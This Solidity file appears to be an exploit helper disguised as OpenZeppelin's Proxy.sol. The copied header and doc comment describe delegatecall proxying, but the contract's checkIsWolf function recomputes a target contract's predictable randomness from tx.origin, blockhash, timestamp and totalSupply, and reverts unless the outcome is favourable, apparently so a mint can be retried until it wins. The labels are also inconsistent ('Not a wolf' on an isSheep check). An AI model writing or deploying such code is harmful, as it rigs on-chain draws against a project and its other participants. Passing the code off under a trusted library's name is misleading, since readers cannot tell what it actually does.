// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.3.2 (proxy/Proxy.sol)

pragma solidity ^0.8.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 *
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 *
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
contract Proxy {
    
    function checkIsWolf(address _contractAddress) public {
        (bool success, bytes memory supply) = _contractAddress.call(abi.encodeWithSignature("totalSupply()"));
        
        require(success, 'Failed getting total supply');
        
        uint256 randomSeed = random(toUint256(supply) + 1);
        bool isSheep = (randomSeed & 0xFFFF) % 10 == 0;
        
        require(isSheep, 'Not a wolf');
    }

    function random(uint256 seed) internal view returns (uint256) {
        return uint256(keccak256(abi.encodePacked(
          tx.origin,
          blockhash(block.number - 1),
          block.timestamp,
          seed
        )));
    }
    
    function toUint256(bytes memory _bytes)   
      internal
      pure
      returns (uint256 value) {
    
        assembly {
          value := mload(add(_bytes, 0x20))
        }
    }
}

{
  "compilationTarget": {
    "contracts/Proxy.sol": "Proxy"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}